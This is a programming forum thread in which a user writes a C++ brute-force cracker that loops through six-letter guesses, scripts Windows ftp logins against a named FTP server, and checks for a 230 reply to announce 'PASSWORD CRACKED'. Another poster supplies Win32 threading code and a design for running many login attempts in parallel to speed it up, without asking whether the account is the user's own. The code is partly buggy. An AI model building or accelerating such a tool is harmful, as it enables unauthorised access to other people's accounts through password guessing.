system() in for loop

[niskin]

I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

cout<< a << b << c << d << e << f <<"\n";
ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
record<< a << b << c << d << e << f;
record.close();
ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
char password[6];
readrecord>> password;
ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
ftpscript<< username <<"\n" << password <<"\n" <<"bye";
ftpscript.close();
system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");

This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.

[weaknessforcats]

I didn't know you were going to use a class.

With a class it's a little different. Here is code that works:

 
 
//Demo of how to create a thread within a class
 
 
#include <iostream>
using namespace std;
#include <windows.h>
 
 
class MyClass
{
    public:
        MyClass();
        static DWORD WINAPI StartThreadOne(LPVOID in);
        void LaunchOne();
        void ExecuteThreadOne();
        int GetDataOne() { return DataOne;}
        void SetDataOne(int in) {DataOne = in;}
 
    private:
        HANDLE hThreadOne;
        int DataOne;
};
 
    MyClass::MyClass() : hThreadOne(0), DataOne(0)
{
 
}
 
void MyClass::LaunchOne()
{
    DWORD threadid;                    //to hold the returned thread id
    HANDLE th = CreateThread(
                        NULL,        //use default security
                        0,            //use stack size of calling thread
                        StartThreadOne,       //the thread
                        this,            //the thread input argument
                        0,            //run immediately
                        &threadid
                        );
    if (!th)
    {
        cout << "CreateThread failed" << endl;
    }
 
}
 
DWORD WINAPI MyClass::StartThreadOne(LPVOID in)
{
    reinterpret_cast<MyClass*> (in) ->ExecuteThreadOne();
 
    return 0;    //thread completed
}
 
void MyClass::ExecuteThreadOne()
{
    while (1)
    {
        DataOne++;
        Sleep(500);
    }
}
 
 
 
 
int main()
{
    cout << "Starting main()" << endl;
    MyClass  obj;
             obj.LaunchOne();
 
    int buffer;
    while (1)
    {
        buffer = obj.GetDataOne();
        cout << buffer << " ";
        Sleep(500);
        if (buffer > 20)
        {
            obj.SetDataOne(0);
        }
    }
 
    return 0;
}
 
 
 
/*
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
  DWORD dwStackSize,                        // initial stack size
  LPTHREAD_START_ROUTINE lpStartAddress,    // thread function
  LPVOID lpParameter,                       // thread argument
  DWORD dwCreationFlags,                    // creation option
  LPDWORD lpThreadId                        // thread identifier
);
*/
 

So, in main() you create a MyClass object and call the LaunchOne() method.

MyClass::Launch One() does the call to ::CreateThread using the threadproc which is MyClass::StartT hreadOne. Note that this is a static member function. The function used in the ::CreateThread( ) argument cannot require an object. Hence, the static.

Once MyClass::StartT hreadOne() starts, it casts the LPVOID (provided by ::CreateThread( ) where a MyClass this was used for the thread argument) to a MyClass pointer. Now you can run methods on your class. In this example it is MyClass::Execut eThreadOne() that is really doing the work.

Change your code to operate along these lines.

[niskin]

Ok this is a little complicated. The reason I was using a class is because I found a site which showed how to do it with a class, but if there is a simpler way to do it I would be grateful for a way to do it without a class.

And congratulations on breaking the 1000 posts mark.

[niskin]

This is most of my source code (without functions int seven() and int eight() included) without creating a thread if it helps:

#include <fstream>
#include <iostream>
#include <stdio.h>
#include <windows.h>
 
using namespace std;
 
int six();
//int seven();
//int eight();
 
int main() {
 
    char letters[100];
    char username[20];
    cout<<"Enter the username to use: ";
    cin.getline(username,20);
    ofstream user ( "username.txt" );
    user<< username;
    user.close();
    cout<<"\nEnter the letters to use: ";
    cin.getline(letters,100);
    ofstream record ( "record.txt" );
    record<< letters;
    record.close();
 
    if(strlen(letters)==6) {
                           six();
                           }
//    if(strlen(letters)==7) {
//                          seven();
//                          }
//    if(strlen(letters)==8) {
//                           eight();
//                           }
}
 
int six() {
 
    char letters[100];
    char username[20];
    ifstream user ( "username.txt" );
    user>> username;
    user.close();
    char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
    ifstream record ( "record.txt" );
    record>> letters;
    record.close();
    for(char a = letters[0]; a <= alphabet[25]; a++)
    {
             for(char b = letters[1]; b <= alphabet[25]; b++)
             {
                      for(char c = letters[2]; c <= alphabet[25]; c++)
                      {
                           for(char d = letters[3]; d <= alphabet[25]; d++)
                           {
                                    for(char e = letters[4]; e <= alphabet[25]; e++)
                                    {
                                             for(char f = letters[5]; f <= alphabet[25]; f++)
                                             {
                                                      FILE *success;
                                                      success=fopen("success.txt", "w+");
                                                      fprintf(success, "");
                                                      fclose(success);
                                                      cout<< a << b << c << d << e << f <<"\n";
                                                      ofstream record ( "record.txt" );
                                                      record<< a << b << c << d << e << f;
                                                      record.close();
                                                      ifstream readrecord ( "record.txt" );
                                                      char password[6];
                                                      readrecord>> password;
                                                      ofstream ftpscript ( "ftpscript.txt" );
                                                      ftpscript<< username <<"\n" << password <<"\n" <<"bye";
                                                      ftpscript.close();
                                                      char   psBuffer[128];
                                                      FILE   *pPipe;
                                                      /* Run command so that it writes its output to a pipe. Open this
                                                      * pipe with read text attribute so that we can read it 
                                                      * like a text file. 
                                                      */
                                                      if( (pPipe = _popen("<command-to-connect-to-ftp>", "rt" )) == NULL )
                                                      exit( 1 );
 
                                                      /* Read pipe until end of file. */
                                                      while( !feof( pPipe ) )
                                                      {
                                                      if( fgets( psBuffer, 128, pPipe ) != NULL )
                                                      //printf( psBuffer );
                                                      FILE *success;
                                                      success=fopen("success.txt", "a+");
                                                      fprintf(success, psBuffer);
                                                      fclose(success);
                                                      }
 
                                                      char reada[20];
                                                      char readb[20];
                                                      char readc[20];
                                                      char readd[20];
                                                      char reade[20];
                                                      char readf[20];
                                                      char readg[20];
                                                      char readh[20];
                                                      char readi[20];
                                                      char readj[20];
                                                      char readk[20];
                                                      char readl[20];
                                                      char readm[20];
                                                      int readn;
 
                                                      ifstream read ( "success.txt" );
                                                      read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                      read.close();
                                                      //cout<< readn;
                                                      if (readn == 230){
                                                                cout<< "\n\nYou are now logged on";
                                                                cin.get();
                                                      }
 
                                                      }
                                             }
                                    }
                           }    
                      }
             }
}
 
//int seven() and int eight() are similar to six()

[weaknessforcats]

All you do is call CreateThread() in your main().

Write a ThreadProc function:

DWORD WINAPI ThreadProc(LPVOID);
 

Yours might be:

DWORD WINAPI Niskin(LPVOID arg)
{
      //The LPVOID argument is the address of a struct Data (see below)
      //Type cast arg to a Data* to access the members.
      //do the ftp in here.
}
 

You need a file name, a userid and a password. Use a struct for this.

struct Data
{
    char* file name;
    char* userid;
    char* password;
};
 

Create a Data variable and intialize the members.

Then call:

Data var;
/*intialize the var members */
 
DWORD threadid;     //to hold the returned thread id
    HANDLE th = CreateThread(
                        NULL,      //use default security
                        0,      //use stack size of calling thread
                        niskin,     //the thread
                        &var,         //the thread input argument
                        0,      //run immediately
                        &threadid
                        );
 

If the return is not NULL, you have a successful thread launch. The thread ID is in that DWORD. You use the thread ID to communicate with your thread if necessary.

I did not compile this example. This is to just give you the idea.

[niskin]

All you do is call CreateThread() in your main().

Write a ThreadProc function:

DWORD WINAPI ThreadProc(LPVOID);
 

Yours might be:

DWORD WINAPI Niskin(LPVOID arg)
{
      //The LPVOID argument is the address of a struct Data (see below)
      //Type cast arg to a Data* to access the members.
      //do the ftp in here.
}
 

You need a file name, a userid and a password. Use a struct for this.

struct Data
{
    char* file name;
    char* userid;
    char* password;
};
 

Do I need to use a struct because I am writing the data to a file and then using that file in the ftp command?

Also, I am using 6 for loops for the six() function, 7 for the seven() function etc. and I need to run a new thread each time the loop starts again. Where abouts should I put the code to start the thread? Should it be inside the loop?

I have tried this:

int six() {
 
 
 
    char letters[100];
    char username[20];
    ifstream user ( "username.txt" );
    user>> username;
    user.close();
    char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
    ifstream record ( "record.txt" );
    record>> letters;
    record.close();
    struct Data
    {
           char* userid;
           char* password;
    };
    Data var;
    for(char a = letters[0]; a <= alphabet[25]; a++)
    {
             for(char b = letters[1]; b <= alphabet[25]; b++)
             {
                      for(char c = letters[2]; c <= alphabet[25]; c++)
                      {
                           for(char d = letters[3]; d <= alphabet[25]; d++)
                           {
                                    for(char e = letters[4]; e <= alphabet[25]; e++)
                                    {
                                             for(char f = letters[5]; f <= alphabet[25]; f++)
                                             {
                                                      DWORD WINAPI niskin(LPVOID);
                                                      {
                                                            //The LPVOID argument is the address of a struct Data (see below)
                                                            //Type cast arg to a Data* to access the members.
                                                            //do the ftp in here.
                                                            FILE *success;
                                                            success=fopen("success.txt", "w+");
                                                            fprintf(success, "");
                                                            fclose(success);
                                                            cout<< a << b << c << d << e << f <<"\n";
                                                            ofstream record ( "record.txt" );
                                                            record<< a << b << c << d << e << f;
                                                            record.close();
                                                            ifstream readrecord ( "record.txt" );
                                                            char password[6];
                                                            readrecord>> password;
                                                            ofstream ftpscript ( "ftpscript.txt" );
                                                            ftpscript<< username <<"\n" << password <<"\n" <<"bye";
                                                            ftpscript.close();
                                                            char   psBuffer[128];
                                                            FILE   *pPipe;
                                                            /* Run command so that it writes its output to a pipe. Open this
                                                             * pipe with read text attribute so that we can read it 
                                                             * like a text file. 
                                                             */
                                                            if( (pPipe = _popen( "<command-to-log-on-to-ftp>", "rt" )) == NULL )
 
                                                            /* Read pipe until end of file. */
                                                            while( !feof( pPipe ) )
                                                            {
                                                            if( fgets( psBuffer, 128, pPipe ) != NULL )
                                                            //printf( psBuffer );
                                                            FILE *success;
                                                            success=fopen("success.txt", "a+");
                                                            fprintf(success, psBuffer);
                                                            fclose(success);
                                                            }
 
                                                      }
 
                                                      DWORD threadid;     //to hold the returned thread id
                                                      HANDLE th = CreateThread(
                                                             NULL,      //use default security
                                                             0,      //use stack size of calling thread
                                                             niskin,     //the thread
                                                             &var,         //the thread input argument
                                                             0,      //run immediately
                                                             &threadid
                                                             );
 
 
                                                      char reada[20];
                                                      char readb[20];
                                                      char readc[20];
                                                      char readd[20];
                                                      char reade[20];
                                                      char readf[20];
                                                      char readg[20];
                                                      char readh[20];
                                                      char readi[20];
                                                      char readj[20];
                                                      char readk[20];
                                                      char readl[20];
                                                      char readm[20];
                                                      int readn;
 
                                                      ifstream readrecord ( "record.txt" );
                                                      char password[6];
                                                      readrecord>> password;
                                                      ifstream read ( "success.txt" );
                                                      read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                      read.close();
                                                      if (readn == 230){
                                                                cout<< "\n\nYou are now logged on";
                                                                cin.get();
                                                      }
 
                                                      }
                                             }
                                    }
                           }    
                      }
             }
}
 

I get an error compiling it that says "[Linker error] undefined reference to '_Z6niskinPv@4' "

[weaknessforcats]

You need a struct becuse the thread function can have only an LPVOID argument. There is not way to pass in multiple arguments. So you create a struct variable and pass the address of the variable as the LPVOID. Then indise the threrad function you can typecaste the LPVOID back to a struct pointer to access the members.

So, you ceate a struct variable an call CreateThread(). The CreateThread() can be indie a loop provided you can use different struct pointers for each call.

On line 32 you have this:

 DWORD WINAPI niskin(LPVOID);
 

That is a function prototype. Move this to the top of the file.

[niskin]

I'm still getting the same error as before. Please point out whatever I have done wrong in my code:

#include <fstream>
#include <iostream>
using namespace std;
#include <windows.h>
 
int six();
DWORD WINAPI niskin(LPVOID);
 
int main() {
 
    char letters[100];
    char username[20];
    cout<<"Enter the username to use: ";
    cin.getline(username,20);
    ofstream user ( "username.txt" );
    user<< username;
    user.close();
    cout<<"\nEnter the letters to use: ";
    cin.getline(letters,100);
    ofstream record ( "record.txt" );
    record<< letters;
    record.close();
 
    if(strlen(letters)==6) {
                           six();
                           }
    /*if(strlen(letters)==7) {
                          seven();
                          }
    if(strlen(letters)==8) {
                           eight();
                           }*/
}
 
 
int six() {
 
 
 
    char letters[100];
    char username[20];
    ifstream user ( "username.txt" );
    user>> username;
    user.close();
    char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
    ifstream record ( "record.txt" );
    record>> letters;
    record.close();
    struct Data
    {
           char* userid;
           char* password;
    };
    Data var;
    for(char a = letters[0]; a <= alphabet[25]; a++)
    {
             for(char b = letters[1]; b <= alphabet[25]; b++)
             {
                      for(char c = letters[2]; c <= alphabet[25]; c++)
                      {
                           for(char d = letters[3]; d <= alphabet[25]; d++)
                           {
                                    for(char e = letters[4]; e <= alphabet[25]; e++)
                                    {
                                             for(char f = letters[5]; f <= alphabet[25]; f++)
                                             {
 
 
                                                            //The LPVOID argument is the address of a struct Data (see below)
                                                            //Type cast arg to a Data* to access the members.
                                                            //do the ftp in here.
                                                            FILE *success;
                                                            success=fopen("success.txt", "w+");
                                                            fprintf(success, "");
                                                            fclose(success);
                                                            cout<< a << b << c << d << e << f <<"\n";
                                                            ofstream record ( "record.txt" );
                                                            record<< a << b << c << d << e << f;
                                                            record.close();
                                                            ifstream readrecord ( "record.txt" );
                                                            char password[6];
                                                            readrecord>> password;
                                                            ofstream ftpscript ( "ftpscript.txt" );
                                                            ftpscript<< username <<"\n" << password <<"\n" <<"bye";
                                                            ftpscript.close();
                                                            char   psBuffer[128];
                                                            FILE   *pPipe;
                                                            /* Run command so that it writes its output to a pipe. Open this
                                                             * pipe with read text attribute so that we can read it 
                                                             * like a text file. 
                                                             */
                                                            if( (pPipe = _popen( "<command-to-connect-to-ftp>", "rt" )) == NULL )
 
                                                            /* Read pipe until end of file. */
                                                            while( !feof( pPipe ) )
                                                            {
                                                            if( fgets( psBuffer, 128, pPipe ) != NULL )
                                                            //printf( psBuffer );
                                                            FILE *success;
                                                            success=fopen("success.txt", "a+");
                                                            fprintf(success, psBuffer);
                                                            fclose(success);
                                                            }
 
 
 
                                                      DWORD threadid;     //to hold the returned thread id
                                                      HANDLE th = CreateThread(
                                                             NULL,      //use default security
                                                             0,      //use stack size of calling thread
                                                             niskin,     //the thread
                                                             &var,         //the thread input argument
                                                             0,      //run immediately
                                                             &threadid
                                                             );
 
 
                                                      char reada[20];
                                                      char readb[20];
                                                      char readc[20];
                                                      char readd[20];
                                                      char reade[20];
                                                      char readf[20];
                                                      char readg[20];
                                                      char readh[20];
                                                      char readi[20];
                                                      char readj[20];
                                                      char readk[20];
                                                      char readl[20];
                                                      char readm[20];
                                                      int readn;
 
 
                                                      readrecord>> password;
                                                      ifstream read ( "success.txt" );
                                                      read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                      read.close();
                                                      if (readn == 230){
                                                                cout<< "\n\nYou are now logged in";
                                                                cin.get();
                                                      }
 
                                                      }
                                             }
                                    }
                           }    
                      }
             }
}
 
 

[weaknessforcats]

You haven't written the thread function:

DWORD WINAPI niskin(LPVOID)
{
    //this is your thread logic     
}
 

[niskin]

Sorry that I've needed so much help on this, I've now got this (it's a bit messy, I've just been rearranging my code by copying and pasting it into the right parts, haven't tidied it up yet):

#include <fstream>
#include <iostream>
using namespace std;
#include <windows.h>
 
int six();
DWORD WINAPI niskin(LPVOID)
{
          char letters[100];
    char username[20];
    ifstream user ( "username.txt" );
    user>> username;
    user.close();
    char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
    ifstream record ( "record.txt" );
    record>> letters;
    record.close();
      for(char a = letters[0]; a <= alphabet[25]; a++)
    {
             for(char b = letters[1]; b <= alphabet[25]; b++)
             {
                      for(char c = letters[2]; c <= alphabet[25]; c++)
                      {
                           for(char d = letters[3]; d <= alphabet[25]; d++)
                           {
                                    for(char e = letters[4]; e <= alphabet[25]; e++)
                                    {
                                             for(char f = letters[5]; f <= alphabet[25]; f++)
                                             {
 
      //The LPVOID argument is the address of a struct Data (see below)
      //Type cast arg to a Data* to access the members.
      //do the ftp in here.
      FILE *success;
      success=fopen("success.txt", "w+");
      fprintf(success, "");
      fclose(success);
      cout<< a << b << c << d << e << f <<"\n";
      ofstream record ( "record.txt" );
      record<< a << b << c << d << e << f;
      record.close();
      ifstream readrecord ( "record.txt" );
      char password[6];
      readrecord>> password;
      ofstream ftpscript ( "ftpscript.txt" );
      ftpscript<< username <<"\n" << password <<"\n" <<"bye";
      ftpscript.close();
      char   psBuffer[128];
      FILE   *pPipe;
      /* Run command so that it writes its output to a pipe. Open this
       * pipe with read text attribute so that we can read it 
       * like a text file. 
       */
      if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
 
      /* Read pipe until end of file. */
      while( !feof( pPipe ) )
      {
      if( fgets( psBuffer, 128, pPipe ) != NULL )
      //printf( psBuffer );
      FILE *success;
      success=fopen("success.txt", "a+");
      fprintf(success, psBuffer);
      fclose(success);
      }
      char reada[20];
                                                      char readb[20];
                                                      char readc[20];
                                                      char readd[20];
                                                      char reade[20];
                                                      char readf[20];
                                                      char readg[20];
                                                      char readh[20];
                                                      char readi[20];
                                                      char readj[20];
                                                      char readk[20];
                                                      char readl[20];
                                                      char readm[20];
                                                      int readn;
 
 
                                                      readrecord>> password;
                                                      ifstream read ( "success.txt" );
                                                      read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                      read.close();
                                                      if (readn == 230){
                                                                cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
                                                                cin.get();
      }
                                             }
                                    }
                           }    
                      }
             }
}
}
int main() {
 
    char letters[100];
    char username[20];
    cout<<"hailFTP written by NAViiS.KiNDD\n\n" <<"Enter the username to use: ";
    cin.getline(username,20);
    ofstream user ( "username.txt" );
    user<< username;
    user.close();
    cout<<"\nEnter the letters to use: ";
    cin.getline(letters,100);
    ofstream record ( "record.txt" );
    record<< letters;
    record.close();
 
    if(strlen(letters)==6) {
                           six();
                           }
    /*if(strlen(letters)==7) {
                          seven();
                          }
    if(strlen(letters)==8) {
                           eight();
                           }*/
}
 
 
int six() {
 
 
 
 
    struct Data
    {
           char* userid;
           char* password;
    };
    Data var;
 
 
 
 
 
 
 
                                                      DWORD threadid;     //to hold the returned thread id
                                                      HANDLE th = CreateThread(
                                                             NULL,      //use default security
                                                             0,      //use stack size of calling thread
                                                             niskin,     //the thread
                                                             &var,         //the thread input argument
                                                             0,      //run immediately
                                                             &threadid
                                                             );
                                                           cin.get();
 
 
 
                                                      }

The code compiles, and then does about 100 attempts to login, however I knew the first password should be correct, but it didn't stop the program as it should when it is successful. And after about 200 attempts the program stopped responding.

[weaknessforcats]

You are really on the wrong track here.

Your thread needs a userid, password, and ftp command line.
I would have expected:

struct Data
    {
           char* userid;
           char* password;
           char* ftpcommandline;
    };
    Data var;
 

The thread function would be:

DWORD WINAPI niskin(LPVOID arg)
{
      Data*  ptr = reinterpret_cast<Data*> (arg);
      //
      //OK. Now ptr->userid is rthe userid
      //              ptr->password
      //              ptr->ftpcommandline
      //
      //TODO: Build a string using this stuff and call the system()
      system("your ftp string does here");
}
 

In your main() you create Data variables with the various userids, paswswords and ftp command lines and you call CreateThread() fo every one of these variables using the address of the variable as the thread argument and niskin as the thread function.

All of the reading >> >> << << , etc. stays in main().

Write a function to start the thread:

HANDLE StartThread(Data* arg)
{
DWORD threadid;     //to hold the returned thread id
HANDLE th = CreateThread(
                           NULL,      //use default security
                     0,      //use stack size of calling thread
                     niskin,     //the thread
                    (LPVOID)arg,         //the thread input argument
                     0,      //run immediately
                    &threadid
                                                             );
return th;
}
 

Then in main() you just create a Data variable and call StartThread():

Data var1;
        //put values to the var1 members
        StartThread(&var1);
Data var2;
        //put values to the var2members
        StartThread(&var2);
Data var3;
        //put values to the var3 members
        StartThread(&var3);
 

You can check the return from StartThread() and if ti is not null, then the thread was successfully started.